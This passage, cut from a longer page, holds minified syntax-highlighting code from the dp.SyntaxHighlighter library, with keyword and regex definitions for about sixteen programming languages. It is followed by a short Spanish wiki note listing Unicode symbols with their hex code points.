dp.sh.Match(_[3],_.index+_[0].indexOf(_[3]),"attribute-value"));B(this.stringMatches,_[3]);B(this.attributeMatches,_[2])}}this.GetMatches(new RegExp("(&lt;|<)/*\\?*(?!\\!)|/*\\?*(&gt;|>)","gm"),"tag");$=new RegExp("(?:&lt;|<)/*\\?*\\s*([:\\w-.]+)","gm");while((_=$.exec(this.code))!=null)B(this.matches,new dp.sh.Match(_[1],_.index+_[0].indexOf(_[1]),"tag-name"));$=new RegExp(this.GetKeywords(this.keywords),"igm");while((_=$.exec(this.code))!=null)if(A(this.attributeMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"keywords"));$=new RegExp("cfset\\s*.*(\".*?\"|'.*?')","gm");while((_=$.exec(this.code))!=null)if(_[1]!=undefined&&_[1]!=""){B(this.matches,new dp.sh.Match(_[1],_.index+_[0].indexOf(_[1]),"strings"));B(this.stringMatches,_[1])}while((_=dp.sh.RegexLib.DoubleQuotedString.exec(this.code))!=null)if(A(this.stringMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"strings"));while((_=dp.sh.RegexLib.SingleQuotedString.exec(this.code))!=null)if(A(this.stringMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"strings"))};dp.sh.Brushes.Cpp=function(){var _="ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR "+"DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH "+"HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP "+"HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY "+"HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT "+"HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE "+"LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF "+"LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR "+"LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR "+"PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT "+"PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 "+"POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR "+"PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 "+"PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT "+"SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG "+"ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM "+"char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t "+"clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS "+"FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t "+"__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t "+"jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler "+"sig_atomic_t size_t _stat __stat64 _stati64 terminate_function "+"time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf "+"va_list wchar_t wctrans_t wctype_t wint_t signed",$="break case catch class const __finally __exception __try "+"const_cast continue private public protected __declspec "+"default delete deprecated dllexport dllimport do dynamic_cast "+"else enum explicit extern if for friend goto inline "+"mutable naked namespace new noinline noreturn nothrow "+"register reinterpret_cast return selectany "+"sizeof static static_cast struct switch template this "+"thread throw true false try typedef typeid typename union "+"using uuid virtual void volatile whcar_t while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^ *#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"datatypes"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-cpp";this.Style=".dp-cpp .datatypes { color: #2E8B57; font-weight: bold; }"};dp.sh.Brushes.Cpp.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Cpp.Aliases=["cpp","c","c++"];dp.sh.Brushes.CSharp=function(){var $="abstract as base bool break byte case catch char checked class const "+"continue decimal default delegate do double else enum event explicit "+"extern false finally fixed float for foreach get goto if implicit in int "+"interface internal is lock long namespace new null object operator out "+"override params private protected public readonly ref return sbyte sealed set "+"short sizeof stackalloc static string struct switch this throw true try "+"typeof uint ulong unchecked unsafe ushort using virtual void while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c";this.Style=".dp-c .vars { color: #d00; }"};dp.sh.Brushes.CSharp.prototype=new dp.sh.Highlighter();dp.sh.Brushes.CSharp.Aliases=["c#","c-sharp","csharp"];dp.sh.Brushes.CSS=function(){var _="ascent azimuth background-attachment background-color background-image background-position "+"background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top "+"border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color "+"border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width "+"border-bottom-width border-left-width border-width border cap-height caption-side centerline clear clip color "+"content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display "+"elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font "+"height letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top "+"margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans "+"outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page "+"page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position "+"quotes richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress "+"table-layout text-align text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em "+"vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index",$="above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder "+"both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed "+"continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double "+"embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia "+"gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic "+"justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha "+"lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower "+"navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset "+"outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side "+"rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow "+"small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize "+"table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal "+"text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin "+"upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow",A="[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif";this.regexList=[{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\#[a-zA-Z0-9]{3,6}","g"),css:"value"},{regex:new RegExp("(-?\\d+)(.\\d+)?(px|em|pt|:|%|)","g"),css:"value"},{regex:new RegExp("!important","g"),css:"important"},{regex:new RegExp(this.GetKeywordsCSS(_),"gm"),css:"keyword"},{regex:new RegExp(this.GetValuesCSS($),"g"),css:"value"},{regex:new RegExp(this.GetValuesCSS(A),"g"),css:"value"}];this.CssClass="dp-css";this.Style=".dp-css .value { color: black; }"+".dp-css .important { color: red; }"};dp.sh.Highlighter.prototype.GetKeywordsCSS=function($){return"\\b([a-z_]|)"+$.replace(/ /g,"(?=:)\\b|\\b([a-z_\\*]|\\*|)")+"(?=:)\\b"};dp.sh.Highlighter.prototype.GetValuesCSS=function($){return"\\b"+$.replace(/ /g,"(?!-)(?!:)\\b|\\b()")+":\\b"};dp.sh.Brushes.CSS.prototype=new dp.sh.Highlighter();dp.sh.Brushes.CSS.Aliases=["css"];dp.sh.Brushes.Delphi=function(){var $="abs addr and ansichar ansistring array as asm begin boolean byte cardinal "+"case char class comp const constructor currency destructor div do double "+"downto else end except exports extended false file finalization finally "+"for function goto if implementation in inherited int64 initialization "+"integer interface is label library longint longword mod nil not object "+"of on or packed pansichar pansistring pchar pcurrency pdatetime pextended "+"pint64 pointer private procedure program property pshortstring pstring "+"pvariant pwidechar pwidestring protected public published raise real real48 "+"record repeat set shl shortint shortstring shr single smallint string then "+"threadvar to true try type unit until uses val var varirnt while widechar "+"widestring with word write writeln xor";this.regexList=[{regex:new RegExp("\\(\\*[\\s\\S]*?\\*\\)","gm"),css:"comment"},{regex:new RegExp("{(?!\\$)[\\s\\S]*?}","gm"),css:"comment"},{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\{\\$[a-zA-Z]+ .+\\}","g"),css:"directive"},{regex:new RegExp("\\b[\\d\\.]+\\b","g"),css:"number"},{regex:new RegExp("\\$[a-zA-Z0-9]+\\b","g"),css:"number"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-delphi";this.Style=".dp-delphi .number { color: blue; }"+".dp-delphi .directive { color: #008284; }"+".dp-delphi .vars { color: #000; }"};dp.sh.Brushes.Delphi.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Delphi.Aliases=["delphi","pascal"];dp.sh.Brushes.Java=function(){var $="abstract assert boolean break byte case catch char class const "+"continue default do double else enum extends "+"false final finally float for goto if implements import "+"instanceof int interface long native new null "+"package private protected public return "+"short static strictfp super switch synchronized this throw throws true "+"transient try void volatile while";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b","gi"),css:"number"},{regex:new RegExp("(?!\\@interface\\b)\\@[\\$\\w]+\\b","g"),css:"annotation"},{regex:new RegExp("\\@interface\\b","g"),css:"keyword"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-j";this.Style=".dp-j .annotation { color: #646464; }"+".dp-j .number { color: #C00000; }"};dp.sh.Brushes.Java.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Java.Aliases=["java"];dp.sh.Brushes.JScript=function(){var $="abstract boolean break byte case catch char class const continue debugger "+"default delete do double else enum export extends false final finally float "+"for function goto if implements import in instanceof int interface long native "+"new null package private protected public return short static super switch "+"synchronized this throw throws transient true try typeof var void volatile while with";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c"};dp.sh.Brushes.JScript.prototype=new dp.sh.Highlighter();dp.sh.Brushes.JScript.Aliases=["js","jscript","javascript"];dp.sh.Brushes.Lua=function(){var $="break do end else elseif function if local nil not or repeat return and then until while this",_="math\\.\\w+ string\\.\\w+ os\\.\\w+ debug\\.\\w+ io\\.\\w+ error fopen dofile coroutine\\.\\w+ arg getmetatable ipairs loadfile loadlib loadstring longjmp print rawget rawset seek setmetatable assert tonumber tostring";this.regexList=[{regex:new RegExp("--\\[\\[[\\s\\S]*\\]\\]--","gm"),css:"comment"},{regex:new RegExp("--[^\\[]{2}.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"func"},];this.CssClass="dp-lua"};dp.sh.Brushes.Lua.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Lua.Aliases=["lua"];dp.sh.Brushes.Mxml=function(){this.CssClass="dp-mxml";this.Style=".dp-mxml .cdata { color: #000000; }"+".dp-mxml .tag { color : #0000ff; }"+".dp-mxml .tag-name { color: #0000ff; }"+".dp-mxml .script { color: green; }"+".dp-mxml .metadata { color: green; }"+".dp-mxml .attribute { color: #000000; }"+".dp-mxml .attribute-value { color: #990000; }"+".dp-mxml .trace { color: #cc6666; }"+".dp-mxml .var { color: #6699cc; }"+".dp-mxml .comment { color: #009900; }"+".dp-mxml .string { color: #990000; }"+".dp-mxml .keyword { color: blue; }"};dp.sh.Brushes.Mxml.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Mxml.Aliases=["mxml"];dp.sh.Brushes.Mxml.prototype.ProcessRegexList=function(){function H(_,$){_[_.length]=$}function B(B,_){var A=0,$=false;for(A=0;A<B.length;A++)if(_.index>B[A].firstIndex&&_.index<B[A].lastIndex)$=true;return $}var $=0,F=null,D=null,A=null,C="",E=new Array(),_="abstract boolean break byte case catch char class const continue debugger "+"default delete do double else enum export extends false final finally float "+"for function goto if implements import in instanceof int interface long native "+"new null package private protected public return short static super switch "+"synchronized this throw throws transient true try typeof var void volatile while with",G=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords("trace"),"gm"),css:"trace"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"keyword"}];A=new RegExp("&lt;\\!\\[CDATA\\[(.|\\s)*?\\]\\]&gt;","gm");while((F=A.exec(this.code))!=null){C=F[0].substr(0,12);H(this.matches,new dp.sh.Match(C,F.index,"cdata"));C=F[0].substr(12,F[0].length-12-6);for(var I=0;I<G.length;I++)while((D=G[I].regex.exec(C))!=null)H(this.matches,new dp.sh.Match(D[0],F.index+12+D.index,G[I].css));C=F[0].substr(F[0].length-6,6);H(this.matches,new dp.sh.Match(C,F.index+F[0].length-6,"cdata"));E.push({firstIndex:F.index,lastIndex:F.index+F[0].length-1})}this.GetMatches(new RegExp("(&lt;|<)!--\\s*.*?\\s*--(&gt;|>)","gm"),"comments");A=new RegExp("([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?'|\\w+)*|(\\w+)","gm");while((F=A.exec(this.code))!=null){if(F[1]==null)continue;if(B(E,F))continue;H(this.matches,new dp.sh.Match(F[1],F.index,"attribute"));if(F[2]!=undefined)H(this.matches,new dp.sh.Match(F[2],F.index+F[0].indexOf(F[2]),"attribute-value"))}A=new RegExp("(?:&lt;|<)/*\\?*\\s*([:\\w-.]+)","gm");while((F=A.exec(this.code))!=null){if(B(E,F))continue;C=F[0].substr(4,F[0].length-4);switch(C){case"mx:Script":case"/mx:Script":H(this.matches,new dp.sh.Match(F[0]+"&gt;",F.index,"script"));break;case"mx:Metadata":case"/mx:Metadata":H(this.matches,new dp.sh.Match(F[0]+"&gt;",F.index,"metadata"));break;default:H(this.matches,new dp.sh.Match(F[0],F.index,"tag-name"));break}}A=new RegExp("\\?&gt;|&gt;|/&gt;","gm");while((F=A.exec(this.code))!=null){if(B(E,F))continue;H(this.matches,new dp.sh.Match(F[0],F.index,"tag"))}};dp.sh.Brushes.Perl=function(){var _="abs accept alarm atan2 bind binmode bless caller chdir chmod chomp chop chown chr chroot close closedir connect cos crypt dbmclose dbmopen defined delete dump each endgrent endhostent endnetent endprotoent endpwent endservent eof exec exists exp fcntl fileno flock fork format formline getc getgrent getgrgid getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr getnetbyname getnetent getpeername getpgrp getppid getpriority getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid getservbyname getservbyport getservent getsockname getsockopt glob gmtime grep hex import index int ioctl join keys kill lc lcfirst length link listen localtime lock log lstat m map mkdir msgctl msgget msgrcv msgsnd no oct open opendir ord pack pipe pop pos print printf prototype push q qq quotemeta qw qx rand read readdir readline readlink readpipe recv ref rename reset reverse rewinddir rindex rmdir scalar seek seekdir semctl semget semop send setgrent sethostent setnetent setpgrp setpriority setprotoent setpwent setservent setsockopt shift shmctl shmget shmread shmwrite shutdown sin sleep socket socketpair sort splice split sprintf sqrt srand stat study sub substr symlink syscall sysopen sysread sysseek system syswrite tell telldir tie tied time times tr truncate uc ucfirst umask undef unlink unpack unshift untie utime values vec waitpid wantarray warn write qr",$="s select goto die do package redo require return continue for foreach last next wait while use if else elsif eval exit unless switch case",A="my our local";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("(\\$|@|%)\\w+","g"),css:"vars"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(A),"gm"),css:"declarations"}];this.CssClass="dp-perl"};dp.sh.Brushes.Perl.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Perl.Aliases=["perl"];dp.sh.Brushes.Php=function(){var _="abs acos acosh addcslashes addslashes "+"array_change_key_case array_chunk array_combine array_count_values array_diff "+"array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill "+"array_filter array_flip array_intersect array_intersect_assoc array_intersect_key "+"array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map "+"array_merge array_merge_recursive array_multisort array_pad array_pop array_product "+"array_push array_rand array_reduce array_reverse array_search array_shift "+"array_slice array_splice array_sum array_udiff array_udiff_assoc "+"array_udiff_uassoc array_uintersect array_uintersect_assoc "+"array_uintersect_uassoc array_unique array_unshift array_values array_walk "+"array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert "+"basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress "+"bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir "+"checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists "+"closedir closelog copy cos cosh count count_chars date decbin dechex decoct "+"deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log "+"error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded "+"feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents "+"fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype "+"floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf "+"fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname "+"gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt "+"getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext "+"gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set "+"interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double "+"is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long "+"is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault "+"is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br "+"parse_ini_file parse_str parse_url passthru pathinfo readlink realpath rewind rewinddir rmdir "+"round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split "+"str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes "+"stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk "+"strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime "+"strtoupper strtr strval substr substr_compare",$="and or xor __FILE__ __LINE__ array as break case "+"cfunction class const continue declare default die do else "+"elseif empty enddeclare endfor endforeach endif endswitch endwhile "+"extends for foreach function include include_once global if "+"new old_function return static switch use require require_once "+"var while __FUNCTION__ __CLASS__ "+"__METHOD__ abstract interface public implements extends private protected throw";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("\\$\\w+","g"),css:"vars"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-c"};dp.sh.Brushes.Php.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Php.Aliases=["php"];dp.sh.Brushes.Python=function(){var $="and assert break class continue def del elif else "+"except exec finally for from global if import in is "+"lambda not or pass print raise return try yield while",_="None True False self cls class_";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:new RegExp("^\\s*@\\w+","gm"),css:"decorator"},{regex:new RegExp("(['\"]{3})([^\\1])*?\\1","gm"),css:"comment"},{regex:new RegExp("\"(?!\")(?:\\.|\\\\\\\"|[^\\\"\"\\n\\r])*\"","gm"),css:"string"},{regex:new RegExp("'(?!')*(?:\\.|(\\\\\\')|[^\\''\\n\\r])*'","gm"),css:"string"},{regex:new RegExp("\\b\\d+\\.?\\w*","g"),css:"number"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"special"}];this.CssClass="dp-py";this.Style=".dp-py .builtins { color: #ff1493; }"+".dp-py .magicmethods { color: #808080; }"+".dp-py .exceptions { color: brown; }"+".dp-py .types { color: brown; font-style: italic; }"+".dp-py .commonlibs { color: #8A2BE2; font-style: italic; }"};dp.sh.Brushes.Python.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Python.Aliases=["py","python"];dp.sh.Brushes.Ruby=function(){var $="alias and BEGIN begin break case class def define_method defined do each else elsif "+"END end ensure false for if in module new next nil not or raise redo rescue retry return "+"self super then throw true undef unless until when while yield",_="Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload "+"Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol "+"ThreadGroup Thread Time TrueClass";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(":[a-z][A-Za-z0-9_]*","g"),css:"symbol"},{regex:new RegExp("(\\$|@@|@)\\w+","g"),css:"variable"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"}];this.CssClass="dp-rb";this.Style=".dp-rb .symbol { color: #a70; }"+".dp-rb .variable { color: #a70; font-weight: bold; }"};dp.sh.Brushes.Ruby.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Ruby.Aliases=["ruby","rails","ror"];dp.sh.Brushes.Sql=function(){var _="abs avg case cast coalesce convert count current_timestamp "+"current_user day isnull left lower month nullif replace right "+"session_user space substring sum system_user upper user year",$="absolute action add after alter as asc at authorization begin bigint "+"binary bit by cascade char character check checkpoint close collate "+"column commit committed connect connection constraint contains continue "+"create cube current current_date current_time cursor database date "+"deallocate dec decimal declare default delete desc distinct double drop "+"dynamic else end end-exec escape except exec execute false fetch first "+"float for force foreign forward free from full function global goto grant "+"group grouping having hour ignore index inner insensitive insert instead "+"int integer intersect into is isolation key last level load local max min "+"minute modify move name national nchar next no numeric of off on only "+"open option order out output partial password precision prepare primary "+"prior privileges procedure public read real references relative repeatable "+"restrict return returns revoke rollback rollup rows rule schema scroll "+"second section select sequence serializable set size smallint static "+"statistics table temp temporary then time timestamp to top transaction "+"translation trigger true truncate uncommitted union unique update values "+"varchar varying view when where with work",A="all and any between cross in join like not null or outer some";this.regexList=[{regex:new RegExp("--(.*)$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp(this.GetKeywords(_),"gmi"),css:"func"},{regex:new RegExp(this.GetKeywords(A),"gmi"),css:"op"},{regex:new RegExp(this.GetKeywords($),"gmi"),css:"keyword"}];this.CssClass="dp-sql";this.Style=".dp-sql .func { color: #ff1493; }"+".dp-sql .op { color: #808080; }"};dp.sh.Brushes.Sql.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Sql.Aliases=["sql"];dp.sh.Brushes.Vb=function(){var $="AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto "+"Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate "+"CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType "+"Date Decimal Declare Default Delegate Dim DirectCast Do Double Each "+"Else ElseIf End Enum Erase Error Event Exit False Finally For Friend "+"Function Get GetType GoSub GoTo Handles If Implements Imports In "+"Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module "+"MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing "+"NotInheritable NotOverridable Object On Option Optional Or OrElse "+"Overloads Overridable Overrides ParamArray Preserve Private Property "+"Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume "+"Return Select Set Shadows Shared Short Single Static Step Stop String "+"Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until "+"Variant When While With WithEvents WriteOnly Xor";this.regexList=[{regex:new RegExp("'.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-vb"};dp.sh.Brushes.Vb.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Vb.Aliases=["vb","vb.net"];dp.sh.Brushes.Xml=function(){this.CssClass="dp-xml";this.Style=".dp-xml .cdata { color: #ff1493; }"+".dp-xml .tag, .dp-xml .tag-name { color: #069; font-weight: bold; }"+".dp-xml .attribute { color: red; }"+".dp-xml .attribute-value { color: blue; }"};dp.sh.Brushes.Xml.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Xml.Aliases=["xml","xhtml","xslt","html","xhtml"];dp.sh.Brushes.Xml.prototype.ProcessRegexList=function(){function B(_,$){_[_.length]=$}var $=0,A=null,_=null;this.GetMatches(new RegExp("(&lt;|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](&gt;|>)","gm"),"cdata");this.GetMatches(new RegExp("(&lt;|<)!--\\s*.*?\\s*--(&gt;|>)","gm"),"comments");_=new RegExp("([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?'|\\w+)*|(\\w+)","gm");while((A=_.exec(this.code))!=null){if(A[1]==null)continue;B(this.matches,new dp.sh.Match(A[1],A.index,"attribute"));if(A[2]!=undefined)B(this.matches,new dp.sh.Match(A[2],A.index+A[0].indexOf(A[2]),"attribute-value"))}this.GetMatches(new RegExp("(&lt;|<)/*\\?*(?!\\!)|/*\\?*(&gt;|>)","gm"),"tag");_=new RegExp("(?:&lt;|<)/*\\?*\\s*([:\\w-.]+)","gm");while((A=_.exec(this.code))!=null)B(this.matches,new dp.sh.Match(A[1],A.index+A[0].indexOf(A[1]),"tag-name"))}
//}}}
!!Símbolos Unicode^^[[<editar>|$1]]^^
¿Necesitas insertar algún símbolo como ∏ ó ✓? Pues están todos a partir de la posición {{{0x2000}}} de Unicode. Aquí algunos ejemplos:
|Valor hex |Símbolo |Valor hex |Símbolo |Valor hex |Símbolo |Valor hex |Símbolo |h
| 201C | “ | 201D | ” | 2020 | † | 2030 | ‰ |
| 2031 | ‱ | 2122 | ™ | 2192 | → | 2200 | ∀ |
| 2203 | ∃ | 2206 | ∆ | 2207 | ∇ | 220F | ∏ |
| 2211 | ∑ | 2219 | ∙ | 221E | ∞ | 222B | ∫ |
| 2600 | ☀ | 2601 | ☁ | 2602 | ☂ | 261E | ☞ |
| 2639 | ☹ | 2640 | ☺ | 2669 | ♩ | 266A | ♪ |
